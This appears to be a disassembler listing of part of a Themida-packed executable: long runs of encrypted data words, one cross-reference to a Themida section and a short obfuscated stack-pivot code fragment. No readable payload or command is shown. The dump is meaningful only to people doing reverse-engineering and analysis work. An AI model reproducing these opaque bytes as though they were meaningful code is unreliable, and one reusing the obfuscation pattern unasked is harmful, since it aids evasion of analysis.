		dd 0C707D320h, 0D3331185h, 7, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0D98DD332h
		dd 6606C969h, 0AC72E681h, 24A5B5FFh, 860F07D3h,	5, 1DFC5CBBh
		dd 0DBBE6609h, 3D95FF40h, 6607D32Dh, 54E1D881h,	95FF006Ah
		dd 7D33019h, 2EEBC08Bh,	0DF7C53B2h, 24F2F978h, 91CBEB32h
		dd 5081D47Bh, 7909EC3Ah, 0CD74D480h, 8B5DEFFDh,	0A418B1EAh
		dd 0A28F113h, 54304086h, 4E82FE2Ah, 84E9F166h, 0B1000001h
		dd 275307E4h, 0D31AD52Ch, 0D746B198h, 0EFB4CAD1h, 0E45B7E41h
		dd 6D5D9752h, 44FCA3FBh, 0A59EB992h, 95BCD792h,	93B9E4h
		dd 0F49DB2CBh, 0FC9CACA3h, 0D2009EB9h, 73AFC945h, 55FC00EEh
		dd 599CBA97h, 0B2A4E56Dh, 47FEACFFh, 0C45657F6h, 0F600CCD4h
		dd 0F78F7DB5h, 97539549h, 45C9BCFAh, 0A1915CCDh, 0ACE56Ch
		dd 100h, 43h dup(0)
		dd 0A26D8497h, 0EE69F033h, 0
		dd 0E9000000h, 15CCh, 0DF196468h, 0A7D0E907h, 9168FFFAh
		dd 0E907DF1Ah, 0FFFAA7C6h, 0DF1CEC68h, 0A7BCE907h, 2268FFFAh
		dd 0E907DF1Eh, 0FFFAA7B2h, 0DF201768h, 0A7A8E907h, 0A568FFFAh
		dd 0E907DF21h, 0FFFAA79Eh, 0DF228968h, 0A794E907h, 1968FFFAh
		dd 0E907DF23h, 0FFFAA78Ah, 0DF248868h, 0A780E907h, 1468FFFAh
		dd 0E907DF25h, 0FFFAA776h, 0DF260068h, 0A76CE907h, 0FB68FFFAh
		dd 0E907DF26h, 0FFFAA762h, 0DF27FF68h, 0A758E907h, 7C68FFFAh
		dd 0E907DF29h, 0FFFAA74Eh, 0DF2B0068h, 0A744E907h, 6090FFFAh
		dd 0F72BF0CCh, 57987D6Fh, 422E7C5h, 50937874h, 9657F6C6h
		dd 0FBF17BB0h, 7349D716h, 0F7F57BAEh, 7646D212h, 0F179380Ch
		dd 6536B73Bh, 2B01B28Ch, 0ACF77FA3h, 0A31BA31Dh, 96536E14h
		dd 8439E23Eh, 3E9652FEh, 0E979AD72h, 0E794BFE0h, 0B2016CC0h
		dd 3E9653CCh, 74005340h, 4C6FFF2Fh, 864CFAB0h, 0AE88BFFEh
		dd 2419FCC2h, 0CCC66F5Fh, 5A7A902Dh, 9259EBBAh,	5B005C79h
		dd 23C790F3h, 50EF09Bh,	32A54C74h, 22EB334Eh, 0A9605D5Eh
		dd 0BEE13F7Eh, 0F659530Ch, 0ABE1099Eh, 0D3B1FCA8h, 88316230h
		dd 36077417h, 754DEA17h, 7F11DEC3h, 5922A9FAh, 7909E0C0h
		dd 0CAA5C271h, 0E403E992h, 0F4A5DEEEh, 4E0CD0h,	10320000h
		dd 0CDEC985Ah, 1EA721C8h, 4027D9B5h, 188D3597h,	7D404BD1h
		dd 36C32BEBh, 9722EF4Dh, 6015BF26h, 622B346Bh, 56E512F7h
		dd 0BE531DE8h, 1AE30AB2h, 6781E3B8h, 2DF17934h,	0BC6514D3h
		dd 9038EF0Fh, 8587BB17h, 1EB5F953h, 9000001h, 159F2B01h
		dd 8B18ECDEh, 9922F2A7h, 89289030h, 3E95A2E1h, 683F4C55h
		dd 139039C3h, 2EF897D1h, 0B1673A89h, 0B8EDD7E2h, 58BE3876h
		dd 46C85D9h, 0A97B2C4Fh, 8C3DCD21h, 0BD6C4013h,	0E26E2264h
		dd 0FFEE1B39h, 0F1E8BB14h, 4D3E95ADh, 74059758h, 2CDBA02Bh
		dd 8B906CF8h, 0F6BCCD59h, 0D3E29240h, 8B8EFB07h, 1D418082h
		dd 693EC6F1h, 148F3AC0h, 0D7FF5667h, 49AF0AB1h,	0B66C40h
		dd 851AA2D2h, 5F85D260h, 0CEFDA6D3h, 0C5F1C3EFh, 0CC208585h
		dd 65663940h, 0C1C1A58h, 0E0C15873h, 0CCDDA2A2h, 0A5BCDC25h
		dd 8833FEFCh, 3BEBB050h, 0A785EDCCh, 10F9E3C9h,	5E6D3643h
		dd 0DCC1F3A0h, 52477D07h, 0E1892891h, 55E3C9A6h, 3172174Ch
		dd 76AD728Ah, 427086ECh, 0C2C57F97h, 12A4DAh, 0B74B9D00h
		dd 28A6045h, 0B042E5AAh, 797573Ch, 0B13BF0B5h, 0D76F7C3Bh
		dd 6D328A14h, 0CDD22AB8h, 791E8E14h, 2BD527B3h,	3A521897h
		dd 0ADC636B7h, 64891E11h, 0CBF0B3D6h, 7F7D07DCh, 0EEBE4A9Ah
		dd 985A1040h, 0EE01CDECh, 0AA7CB038h, 33F71379h, 0BE2B7B8Ah
		dd 1A6087F6h, 0E2AEED33h, 85F18065h, 0ABBCBA48h, 0B962B820h
		dd 3CEBB010h, 0F19C21AAh, 0EEB81E94h, 33A23640h, 0A4567F1Eh
		dd 53E6B30Fh, 6BF92C71h, 0B71B8C60h, 6100B6A3h,	0EDD1h
		dd 2B01ED00h, 12AA1A9Fh, 9653DBA3h, 39424F3Eh, 8633BD6Eh
		dd 160D1A37h, 7BF2B795h, 63FA5E7Eh, 9196E441h, 4680A469h
		dd 19D5034Eh, 0CDEC9835h, 51C66CA5h, 0C9237019h, 0E09420C4h
		dd 0ACDD69BBh, 6CDDA514h, 485151C6h, 5959701Bh,	588F25EDh
		dd 0F2A53E52h, 2A9A216Eh, 0A38D148Bh, 0E50EE515h, 0DA0068Bh
		dd 49F40306h, 0DDFAC12h, 456FA317h, 78018B60h, 9120A427h
		dd 2157EB18h, 0E331DBEDh, 75DE7DC2h, 992C8C9h, 0C9DEE6B3h
		dd 7F249822h, 844022ACh, 71F2D569h, 11774E4Eh, 0C0700000h
		dd 17CBD02Ch, 0B7781D8Fh, 24C2C725h, 0B0731894h, 0F6F7D626h
		dd 9B119B50h, 53A937F6h, 97159B4Eh, 56A632F2h, 0D19918ACh
		dd 4536B739h, 2A01922Ch, 9DDD14A0h, 5E9664Eh, 0CF57A526h
		dd 9220CB18h, 6B3C23FFh, 198A2FB7h, 63EF3572h, 2B019B89h
		dd 5C90159Fh, 0D5F6A9D0h, 0F17DAFF4h, 81B125FBh, 48EBC4F3h
		dd 61C408B0h, 8FA0FC1Dh, 361F4F9Ch, 0B4E9D159h,	0C0E3E66Eh
		dd 335643BBh, 0D735778Ah, 0F8D88475h, 495E2363h, 726615A5h
		dd 594C58CBh, 923ADFDFh, 528DBD15h, 0F2BB9D1Bh,	9000000h
		dd 0C8BBB1E2h, 0DEED387Ch, 985A10E0h, 5023CDECh, 3C61C4B4h
		dd 605D5EE6h, 0C35FD49Eh, 8E18CBD0h, 3AEFB8EBh,	2AD107B4h
		dd 2A7655C7h, 0FB85A6FBh, 0D5A6D5CEh, 60596029h, 0C7C5B0DAh
		dd 7857218Dh, 6EBEE311h, 9625D9E2h, 30AB5AF0h, 0D998C32Ah
		dd 4DE63CA1h, 6D488799h, 305B2354h, 697E6E4Bh, 27BC5969h
		dd 0B9F8C0F7h, 12A759B1h, 0F694CE25h, 0C1734AA3h, 9220C592h
		dd 7C0FBCE7h, 71h, 65891EC2h, 5A10A6D5h, 76B7EC98h, 0B6BEE1E8h
		dd 96537F07h, 0A526F33Eh, 0A04901Fh, 0D0037695h, 602E7B66h
		dd 0C34B7A89h, 741749D0h, 0ABD5D564h, 0E876F67Dh, 0C92F8E3Bh
		dd 0F871B87Bh, 63890CACh, 0A0D3F786h, 5D3C380Dh, 559C7C6Bh
		dd 628E1EDh, 55505376h,	1C4B8D44h, 0F9039CBh, 7DC2126Ch
		dd 0C22955CCh, 602FA018h, 6F1C9F2Ah, 10h, 0C06F6CFh, 27CE0000h
		dd 0F6F8116h, 0C5F98223h, 479C5A10h, 0DFDEE6BDh, 563EED5Ah
		dd 0F0677407h, 4FA27B71h, 0B730B629h, 970CB861h, 0DEC1C856h
		dd 81F3B07h, 0E992F055h, 9A26C6DBh, 9BE3D2EAh, 0F872021h
		dd 20EE9423h, 0B9628720h, 931BE1EAh, 20E68C2Bh,	0B15A8720h
		dd 0BB479D0Ah, 5232A80Eh, 9D1CE1CDh, 1DC5922Ch,	0E8BBE495h
		dd 7368DDDCh, 0C4FC05EBh, 549D8DF5h, 73180108h,	0B525784Ah
		dd 0DE71440Ch, 827F40F1h, 60456F1Ch, 0E7AC008Ch, 0E40BB945h
		dd 0CEC11146h, 4B7E0DBEh, 8133FF6Bh, 0D6F47A39h, 0BB6888A6h
		dd 3E05B410h, 0EF328165h, 2737739Bh, 8481B964h,	0A755BC82h
		dd 765678FAh, 0E89FEB0Dh, 0F1CB0h, 3FD31500h, 0FA82A86Dh
		dd 38CA1D02h, 7F0FDFC4h, 39C3682Dh, 5FE704C3h, 0E5AA028Ch
		dd 553AB240h, 0F1B6068Ch, 0B33DAF3Bh, 37CAB0FFh, 253E36B7h
		dd 0A4021789h, 0E50FF1CAh, 0DADC0688h, 2CA72243h, 78EEC857h
		dd 0D5E46CBEh, 0E7921ECEh, 8BCE7BCh, 25F05DA9h,	515A586Dh
		dd 81180B2Ah, 0A8BE29D8h, 56A6730Bh, 9C28EA60h,	590161Dh
		dd 88E2C727h, 0EED609E7h, 2D50A7CFh, 9123C4A3h,	5A47B7E8h
		dd 8710A731h, 3E166CB0h, 0DCC1F3A0h, 9B807C08h,	0A60CBD49h
		dd 4A720230h, 0F03B4372h, 46752FEDh, 2FEDF040h,	0A17E7B4h
		dd 0FF7B3C81h, 932BBE0Fh, 0CBE15E24h, 9EC9D2A1h, 5B8C34Dh
		dd 0B8616437h, 0FB81A8FDh, 8416D9CEh, 0D2F9AAF5h, 0E5D114A9h
		dd 0ED7FFA5Dh, 0D90B9024h, 7AAA6F4Dh, 97F2CBEEh, 0B4703BDEh
		dd 3F352B0Bh, 22FA38DFh, 1AB8AD68h, 665E66ACh, 5F37C68Fh
		dd 7B007D85h, 16EB1142h, 0AB059AA4h, 51F1697Bh,	0D012964Ch
		dd 4D701B48h, 9AC2FEFEh, 80AFF4C0h, 0BA31CDEEh,	313EB35Fh
		dd 1A604FB2h, 8E9F8EEFh, 9D85CE85h, 0BA5C8B3Bh,	0E6D1CBFEh
		dd 0DF00000Dh, 9A7F7D11h, 27ECC048h, 0A1867608h, 5A3FBD4Dh
		dd 0EADFF89h, 38C269DDh, 800EDFC4h, 3CC2672Ch, 7D09DBC0h
		dd 6E4DF57Fh, 36B73508h, 10CF5F7Ch, 0CDEC985Ah,	0F54CF4E1h
		dd 37EA559Ch, 0DA0C91ECh, 6A0FA14Eh, 5B5A6A39h,	23877B13h
		dd 0E7F19A87h, 199F4257h, 318C2F70h, 6E06CF4Bh,	32813981h
		dd 0D908274Ch, 0D49AD3C0h, 48D90827h, 52A8305Bh, 0C6663B49h
		dd 0F3FAC23Ah, 613B5AE2h, 0D0D7E4A5h, 0C9E9901Ch, 0BFC7F61Dh
		dd 0DCD90768h, 554E7B09h, 0D1E3B059h, 0E4E3951Ah, 616ACEA5h
		dd 36945B63h, 0E9912015h, 5DD907DCh, 0FF0E31B4h, 96A7CFEEh
		dd 6E1BD907h, 29AF7225h, 417CFFA0h, 442A6218h, 58ADB98Dh
		dd 7D2202B3h, 519D18AAh, 0E9F722D7h, 54269724h,	5D51FF06h
		dd 0CD0E20C7h, 6B467B59h, 0E2AE264Ch, 0A2F19AFEh, 64EB2743h
		dd 0D0FBB23Ah, 4A4F652Eh, 0F99E0E9Ah, 0D61DA733h, 5DB13652h
		dd 0DAEF9C37h, 10A46EDCh, 0FB0A12A1h, 601CD31Ch, 0F188FAB2h
		dd 0CA901243h, 0DCE8B143h, 239925C7h, 5FE5069Bh, 297AFF8Fh
		dd 9656517Ah, 0AE457F0Ah, 5EB018A1h, 0C9F497DFh, 0E1CA4FBCh
		dd 0B1B9F8C0h, 25A4991Dh, 4FC648CEh, 0B4DFBC60h, 0C2CCB607h
		dd 0D8C5C954h, 0BA00DCADh, 77BB2FC5h, 77076E4Dh, 2B3CD274h
		dd 7BCBDB43h, 9F0E7443h, 0BA82A617h, 179F73FBh,	693AE7A6h
		dd 0DC099C62h, 5A0E575Fh, 3075FF0Ch, 0B47C70FCh, 0CAF3FEFh
		dd 0CBD499Bh, 0B33BEFB4h, 0FA38AE08h, 2AAAEBCAh, 5F968885h
		dd 396D2494h, 0AB39EC31h, 0ADCE851Eh, 0C1DD0110h, 7ED9C464h
		dd 0DEB4EE21h, 0E49525C9h, 72C810BBh, 249220A9h, 0D8F7C6EEh
		dd 79A977D9h, 29A6CFCCh, 36853D07h, 0BC48D250h,	9B4D7C4h
		dd 2686B190h, 15D2BB23h, 0F6ADF683h, 0D08EBE7Ch, 980087C9h
		dd 0BF1h, 52AA3EEAh, 0AF0D954Dh, 51AB3DEAh, 0B20A9A4Ch
		dd 50AC36EDh, 19CA7C71h, 0B5781D8Fh, 19D0D527h,	0B0741993h
		dd 961EC824h, 0B7335F27h, 896D336h, 0C5C5D71Eh,	0F4850FD4h
		dd 0AE194AABh, 2AFAADCEh, 8DDF169Eh, 2D6A8Ch, 0E8D8F19Ah
		dd 6599E1D0h, 40D3E95h,	91FC3077h, 95655C22h, 27B3793Eh
		dd 0E4AD01A2h, 0D1EE05AFh, 9AA22032h, 85E1E893h, 5F968225h
		dd 2FF37A30h, 248122A7h, 0CDEE1241h, 0F67E0ADAh, 583E7EB1h
		dd 0EF33FDCh, 6696256Eh, 164E4498h, 77223h, 0F6CC0000h
		dd 674h, 0B724DBC8h, 16A5CF03h,	92D1C09Dh, 16778E76h, 15D7CC30h
		dd 1C9F0089h, 17CF1DBCh, 32CCAE4Ch, 0A029B96Dh,	2653E303h
		dd 81CF267Dh, 0D26696A3h, 16A7F8ABh, 9B59AFAEh,	3F908665h
		dd 559C2816h, 8D2C1B84h, 1ED7D9E5h, 0A735B059h,	0B00DAE41h
		dd 75C8C36Dh, 9D55019Bh, 1877C8E7h, 0F900BDB4h,	3538C089h
		dd 13177DBEh, 6F82DEA4h, 6C49526Bh, 0F685F20Ch,	2CFA9F85h
		dd 3BCEEF9Ch, 89DFDD13h, 9C28FCA1h, 0BFE4DE19h,	9B2D0BFh
		dd 51982CF5h, 2A8908A1h, 0F7020D44h, 290AEBB8h,	0AC1D9E22h
		dd 750CDD14h, 37862D5h,	5C59B992h, 73184E8Bh, 8E5F9743h
		dd 99215300h, 3877DE04h, 0F7016732h, 1A6FDA6h, 0CEEF9C2Eh
		dd 3FA54FD3h, 516916B0h, 0B9CE6FE8h, 0E5DDDD94h, 0A5FA8A97h
		dd 14F9F37Fh, 0EDE44D0h, 2B16FB55h, 0A630494h, 8C5C0000h
		dd 0CB1F04F8h, 83A46943h, 0D816FBF1h, 7CAF7448h, 0B23BFAF2h
		dd 0E7C54F94h, 77750322h, 0F3C94F92h, 7A72FE2Eh, 0D7544F0h
		dd 8136B732h, 891ED668h, 0FBA4D565h, 0DFEC78ACh, 489C24C8h
		dd 0E2E2E7BCh, 0B9DE64BDh, 0D1D6E575h, 861C901Ah, 2A9222D0h
		dd 9524AE75h, 0C23C810Ah, 0DD66278Dh, 2BA24F11h, 3E579E8Dh
		dd 51A736B7h, 0C5673C48h, 0D8168B39h, 0D4B94348h, 7016A510h
		dd 0E4CE1887h, 91586C37h, 0E8E62A85h, 14947F98h, 27BB5A5Bh
		dd 387E4B70h, 9C245082h, 0D9000855h, 0CBF05539h, 4EC53FF2h
		dd 0DDB90CA9h, 584D686Ah, 56820993h, 0E9FFF6CEh, 475D4EABh
		dd 6A93DB92h, 1A077D5Ch, 0B9C54C71h, 0E678DFCDh, 0D212873Dh
		dd 0D9CE7646h, 0B0F78416h, 0DAC9F07Ch, 0D3A37F09h, 0DA06F0D7h
		dd 97FF5A7h, 0B8780000h, 1FC3C824h, 0AF802597h,	2CFA9F1Dh
		dd 0A87B209Ch, 0FEEFCE1Eh, 0A319A348h, 4BA12FFEh, 9F1DA346h
		dd 4E9E2AFAh, 0D9A110A4h, 4D36B731h, 5A107A14h,	1CCDEC98h
		dd 61FD6315h, 90429F23h, 0CE9F1D00h, 0B37FC879h, 4B53BEEh
		dd 50EF09Bh, 72FA2A6Fh,	0D9623B5h, 6BC16656h, 6EDCDADFh
		dd 9A810A4h, 16273C61h,	5BFCCD5h, 670D67B6h, 0FF2E73A9h
		dd 34574871h, 7C640D89h, 0F074038Ah, 0A0F77ACEh, 23DD454Eh
		dd 161A37D2h, 8EF2973h,	48E80000h, 8F5338B4h, 3FF0B507h
		dd 9C4A4FADh, 38EBB00Ch, 6E7F3EAEh, 338913D8h, 0BB31BF6Eh
		dd 2F8D13D6h, 0BE2EBA6Ah, 49318034h, 0BD36B730h, 891E0AA4h
		dd 1A6D565h, 8D1A9F2Bh,	0E4B9CB57h, 0A0E6D540h,	143E9653h
		dd 89285C07h, 3E9652E1h, 8A3F4C55h, 0BD5B4CE0h,	0DCCE4536h
		dd 0CE993308h, 0BCE7921Eh, 0CC54980Fh, 0B8EB8E16h, 0EFE311EBh
		dd 1D231648h, 19h, 396F621h, 0F6CE0000h, 9653BFC7h, 5E66333Eh
		dd 9653175Fh, 0FD7E8B3Eh, 61891EC1h, 2A7909DDh,	3077049Fh
		dd 694970FCh, 687F35FDh, 2AD7E204h, 25C33BB5h, 8620AF06h
		dd 0FFC9B100h, 543D3E95h, 89458FFh, 24794183h, 0FD94C501h
		dd 584BE9ADh, 96257E0Bh, 29E8DA27h, 867017D8h, 5AE20FD3h
		dd 902B5362h, 449F3A2Fh, 0A134510h, 295201D0h, 0A90A2994h
		dd 0E6D5ED3Dh, 36B72FA0h, 0AEDB67BDh, 6B10F9F5h, 0C438E193h
		dd 0F8810DDFh, 8511D3C8h, 0F07AB1F6h, 0BA6F34FCh, 0BB2F8734h
		dd 496E4D77h, 0FA1A8EA6h, 0C3815550h, 0DCEE57E6h, 60BE4D94h
		dd 489C01B3h, 519308BCh, 0CC9723C9h, 23D9E2BDh,	9222AE7Eh
		dd 11D785Bh, 4B706779h,	7802297Eh, 3DF56151h, 0A12C2887h
		dd 248B2551h, 0DC4598ACh, 0F19A24C7h, 1B1650E7h, 2E8C74E1h
		dd 3209FD65h, 0D5EC39F6h, 780C3h, 23B77900h, 961EC4C9h
		dd 1CAE8126h, 9B2BFBA0h, 1DA77C21h, 7BCB209Fh, 0C9CE1EA8h
		dd 81269624h, 0C5CA22A8h, 0CF19931Fh, 2FAED4E3h, 492236B7h
		dd 9F2B0175h, 0CB578D1Ah, 0A740ACBEh, 70049054h, 5E6BFB2Bh
		dd 4A19A149h, 9DADBB41h, 42316AEh, 0CF8477EDh, 958D9AE0h
		dd 0A0050E3Eh, 0B2D91550h, 11D9h, 891EE500h, 0F4AFDA60h
		dd 0D5F680A3h, 1A8C7h, 891E9900h, 8010DE60h, 2DFFA8D3h
		dd 0EED3C1A1h, 0EB9E255Bh, 6F4B1h, 0A73BED00h, 129A5055h
		dd 0A032F59Ah, 17A7474Ch, 0A12B00A5h, 0C77F6C4Bh, 7D229A24h
		dd 0FDA21AA8h, 494E9E24h, 5BA517A3h, 2E224867h,	5D9636B7h
		dd 0C02B01C1h, 965389F1h, 3F14FD3Eh, 2BB76D3Ah,	4760CC9Eh
		dd 8E470B4h, 16ADEADAh,	149A5123h, 6AFD63C1h, 0DF89338h
		dd 46000000h, 130F6h, 2AF6C800h, 0C8000001h, 6F17A61Eh
		dd 0E33E9653h, 0B5219536h, 0CF68477Dh, 6808979Fh, 8738A396h
		dd 13935AE2h, 64026874h, 13C5F883h, 0DB8D2BB6h,	0C7F98089h
		dd 12C71920h, 9F6144D4h, 4175162Dh, 8F275D95h, 0C0CF6658h
		dd 0B83689F1h, 9114FD36h, 99184630h, 36B7B3D1h,	84075C45h
		dd 62A59F39h, 0C5F6FD01h, 936A5CB0h, 0B0AD10BBh, 4EC97DE8h
		dd 0E4F53B5Fh, 6EC62D2Eh, 1DDE35C6h, 0C726615h,	0A17B23FFh
		dd 8F327519h, 6080Dh, 9B2F0100h, 1EA67C21h, 9426C9CEh
		dd 23B37318h, 951FC4C9h, 0F3539817h, 5156A630h,	0F99E0E9Ch
		dd 4D52AA30h, 47B10B97h, 2D363C7Bh, 0B1AA36B7h,	985A10DDh
		dd 1FCFD4ECh, 9626C88Fh, 0B20BB0F3h, 0E9D652B4h, 0ED3F5117h
		dd 873CDBFCh, 3363952Fh, 185E5DE5h, 8CEFE9A3h, 0FBA0D47Fh
		dd 0A719A026h, 0E9A36208h, 96CDD6EFh, 1DCACFF5h, 3189318Bh
		dd 0E9A2FC82h, 18A370EFh, 15B2C8A5h, 0C4312591h, 2CC391C8h
		dd 0BDCFE3B4h, 0DB23A889h, 7B3A5848h, 75B76027h, 0E10E13E9h
		dd 0AA80254Fh, 68309922h, 565h,	61891E3Ah, 5604B2D9h, 4BC9E89Ch
		dd 2ABA5A25h, 16C221CAh, 87828332h, 47AEA70Eh, 9850C3Ch
		dd 3BC3C8C2h, 0CFD4E0A9h, 0B6E9901Eh, 0AC8E973Fh
		dd 1C9FA766h, 0A15105ADh, 0A190A413h, 0CC5F12E0h, 53A99864h
		dd 328C2A6Ah, 0F7A45280h, 9F34F57Bh, 0F894082h,	50Dh, 6656EA06h
		dd 0BE169C1h, 6557E906h, 0EDE6EC0h, 6458E209h, 0ED3E08E5h
		dd 61848963h, 0ED34D9D3h, 5C909567h, 0A292DCD0h, 0B72D6B13h
		dd 2C02DF36h, 1B95A10h,	9653CCB2h, 1A53403Eh, 3E965354h
		dd 0B5BDFCC8h, 293E9653h, 54603360h, 6670856Ch,	56739FB1h
		dd 51F08835h, 39079D9Ch, 3904D0D1h, 0B69A096Ah,	22EF4D36h
		dd 4BD70D92h, 0EC78AC71h, 0B161D5DDh, 7B9DB403h, 6439FDDCh
		dd 31B332C2h, 0E2E05620h, 3C378635h, 9C8CA3A0h,	875CE607h
		dd 8023A6FDh, 0C564BC25h, 1AA17DB2h, 5DB751E4h,	5D0FA862h
		dd 0F9B800B4h, 36051271h, 358F3CE5h, 0BC30BC70h, 0F17DAFF4h
		dd 0F3B4D7C8h, 0AC14A531h, 12DDA514h, 9A513605h, 198C92EDh
		dd 0EE9DC67Ch, 0D4E012C8h, 0E975B7ECh, 9323C3E0h, 0C1E6BDE6h
		dd 0F3ACDD6Dh, 3693F5C8h, 2CBAAEA4h, 0B01F1525h, 371F9CFDh
		dd 6734C289h, 3F047F0Bh, 0D9C3C635h, 409h, 5A52E602h, 7E56DB5h
		dd 5953E502h, 0AE272B4h, 5854DE05h, 0F13214D9h,	5D909567h
		dd 0F138DDCFh, 588C916Bh, 0BE86F0CCh, 0B72C77FFh, 20EEEB36h
		dd 1A9F2B01h, 20CF578Dh, 7AFC58Eh, 0B6C75192h, 3E9653D0h
		dd 0C8345744h, 6AE64D2h, 0D61023B7h, 9E76AED6h,	320B1196h
		dd 4F69EA0Fh, 17A26FFDh, 38401EA6h, 0BF9D5C4h, 0E6D5B77Ch
		dd 8F7D760Ah, 6DF92B70h, 0DF09A05Eh, 93BA0AC8h,	40E80B43h
		dd 56000000h, 0EC985A10h, 73578FCDh, 0F6C7EE7Fh, 633A0671h
		dd 44B72BA7h, 6756DE80h, 0A54A241Fh, 0ACDD8693h, 4D33A90Dh
		dd 578F543Bh, 7C1B215Dh, 7944050Fh, 796E5E51h, 9DF56959h
		dd 1029765h, 1A70000h, 89F1C02Bh, 0FD3E9653h, 0BE353F14h
		dd 918C0035h, 9C2D4ED5h, 2F5AE407h, 0A128B478h,	6656E202h
		dd 781487D7h, 7960A92h,	376C6802h, 756368F6h, 0D141C8E6h
		dd 323BB296h, 48B58BABh, 0C7738B30h, 0F68315D2h, 1D8B48ADh
		dd 0EA8F2D92h, 9A26C6E1h, 3CA77D22h, 0F8E5F57Dh, 0F3A06943h
		dd 85A9FEC6h, 0B0DBC4F5h, 12A25006h, 77CDF8A3h,	20ACF1B2h
		dd 4BDAFC56h, 2115DFA0h, 0EDBFCC1Ah, 383E7D45h,	0AC3C25DCh
		dd 0EDB640E3h, 0B062D8DEh, 261DB504h, 0EEB0CDD9h, 97AB910Fh
		dd 820A7006h, 0AD720420h, 0C4DFEA78h, 6BC0E58Fh, 0E5060BE1h
		dd 0C145D75Bh, 0B9D0292Bh, 28CDFh, 0CF638500h, 6AF238DDh
		dd 0C85A8D92h, 6FFF2FF4h, 0C953987Dh, 0AF9754F3h, 15FAF27Ch
		dd 0A56A42D0h, 2106F67Ch, 36D3FCBh, 29FA802Fh, 756E36B7h
		dd 0A02A0199h, 638D644Ch, 7255B485h, 76B6F19Ah,	21C5DAEAh
dword_68C068	dd 2412EA91h, 0EC985A10h, 38ADA3CDh, 9832DAB0h,	0B5442375h
					; DATA XREF: Themida_:0063A441o
		dd 89BFEFECh, 99E1D0E8h, 0B66324C7h, 0D16E878h,	0C7323877h
		dd 0FDA66324h, 257A0ACEh, 5D4673FFh, 0B6C3D02Eh, 3F9F4907h
		dd 27C9E86Ah, 912C8CAAh, 6324A66Ah, 0D39B1AA2h,	3EF3AEC7h
		dd 8A3ED567h, 0BA675761h, 0BC2CC711h, 1BB3A72Bh, 18E1D82Fh
		dd 0DD000001h, 1A9F2B01h, 0B8CC568Dh, 6B343E3h,	5377FFBEh
		dd 1EEB3E96h, 3A834675h, 4F1C805Eh, 353D7C44h, 0A92E1026h
		dd 42E2DBE0h, 0E7769E58h, 8A0D8256h, 14D8CF3Dh,	84A7FC88h
		dd 93C9FBFAh, 1059936Eh, 0F4A9916Bh, 8D1AA133h,	0F8BECB57h
		dd 0DCE49042h, 0FEBD22C7h, 8D7A1878h, 47741FECh, 5D7DA876h
		dd 0B03BB2D1h, 0C1A0905h, 1613AAD1h, 345727CBh,	0ACC17781h
		dd 11D86C92h, 6B678806h, 82E8C78Ah, 0F6E55D0Bh,	0A955762Dh
		dd 1FCFD4E0h, 12B9EA8Fh, 9E8634EAh, 0EB05FA1h, 0E89CC766h
		dd 0E73F2C9h, 61358384h, 8635A272h, 0F846227Ah,	159F6CFAh
		dd 0A537F8ADh, 28FDDD14h, 106EA386h, 0BC6F3843h, 3B68F836h
		dd 80A4F9C1h, 0BE0C7F4h, 0C2A1A181h, 0F58C444Fh, 108A3h
		dd 9B2F0100h, 1EA67C21h, 9426C9CEh, 23B37318h, 951FC4C9h
		dd 0F3539817h, 5156A630h, 0F99E0E9Ch, 4D52AA30h, 47B10B97h
		dd 28363C7Bh, 0B1AA36B7h, 0A02A01DDh, 19A5474Ch, 6DF3366Bh
		dd 1E109E5Eh, 0B2D96189h, 16A32FF5h, 0DDCF5B91h, 555F9347h
		dd 6A8F8666h, 42BEEDFDh, 0EDC0EA35h, 36B73DD6h,	64F6396Eh
		dd 8F1B8157h, 0E6975A20h, 25C9CEF3h, 0E495BE95h, 0B3026DBFh
		dd 0F3E697CBh, 997563Fh, 1F741F80h, 9824C8CDh, 714405ECh
		dd 89C23ADDh, 0F6FDC702h, 0BCAA2D9Bh, 5B6269BEh, 2AE034E3h
		dd 0DAF76D76h, 74B8ED03h, 7719203Ah, 4A19CCDAh,	8157643Fh
		dd 0CB2BC2DAh, 8F55DADAh, 0B541E318h, 6925237h,	865C4183h
		dd 0A9059FEh, 78082681h, 40A72751h, 981EC3D8h, 9A0DAEF1h
		dd 46EEBE4Ah, 0F8FD8D61h, 2B8CADADh, 0B4F3980Eh, 0D0B60570h
		dd 44113077h, 437D0C57h, 78018F5Eh, 396AFC2Bh, 30A92h
		dd 5C0000h, 9B2F01BEh, 0E773B9EEh, 961CC5E2h, 0E371B4F3h
		dd 901AD1D6h, 0DF69BAE9h, 8919CDDAh, 0F284A300h, 820AE0C7h
		dd 545199F7h, 4C18159h,	83000000h, 0C8704E9h, 89535C24h
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 240C895Ch, 185768h
		dd 242C8900h, 0DF177168h, 240C8B07h, 4C481h, 0C0680000h
		dd 89000011h, 4832424h,	835D0424h, 48904ECh, 89C88924h
		dd 0FF580845h, 835D2434h, 0C8B04C4h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_63555E
; ---------------------------------------------------------------------------
		db 0BCh, 0A2h, 88h
		dd 0DF2C2DB8h, 0FFC50307h, 8A1910E0h, 6AC1A868h, 3A447573h
		dd 0E24F3719h, 3194EA29h, 8812A562h, 0EBACA42Bh, 95EB4E1Bh
		dd 0FFF39045h, 9140A962h, 95AF3B36h, 0E8EEE447h, 360A6F4Ch
		dd 0EE0B2D5Fh, 44389809h, 30636270h, 0CA7B6411h, 3E5FBA23h
		dd 25E1C65Ch, 94D31871h, 6F22A331h, 9A3F7D61h, 0ACD34337h
		dd 64D6F57h, 0E1F4D279h, 9E8D8D4Bh, 0BB07DF2Dh,	520A1B1h
		dd 29418D89h, 0D38107D3h, 285F3A56h, 2BA185C7h,	6D8807D3h
		dd 48BA0000h, 0C71B059Eh, 0D3331185h, 7, 0FFF08A00h, 0D31A79B5h
		dd 0C8816607h, 95FFC4D8h, 7D32D3Dh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0A4C35040h,	0BD2974A1h, 7D31291h
		dd 0FE8h, 99442B00h, 64E988B9h,	87C846BBh, 0A3A92866h
		dd 1860Fh, 5AF50000h, 95FF006Ah, 7D33019h, 1BEBC08Bh, 0D181B70Bh
		dd 67E84A7Ah, 0A836AB2h, 9A01E0EFh, 6820FA6Eh, 0DEC7E4Ah
		dd 0E848D83Bh, 14h, 81CE76EBh, 831CE48Ah, 81DBC9D4h, 903FE0Dh
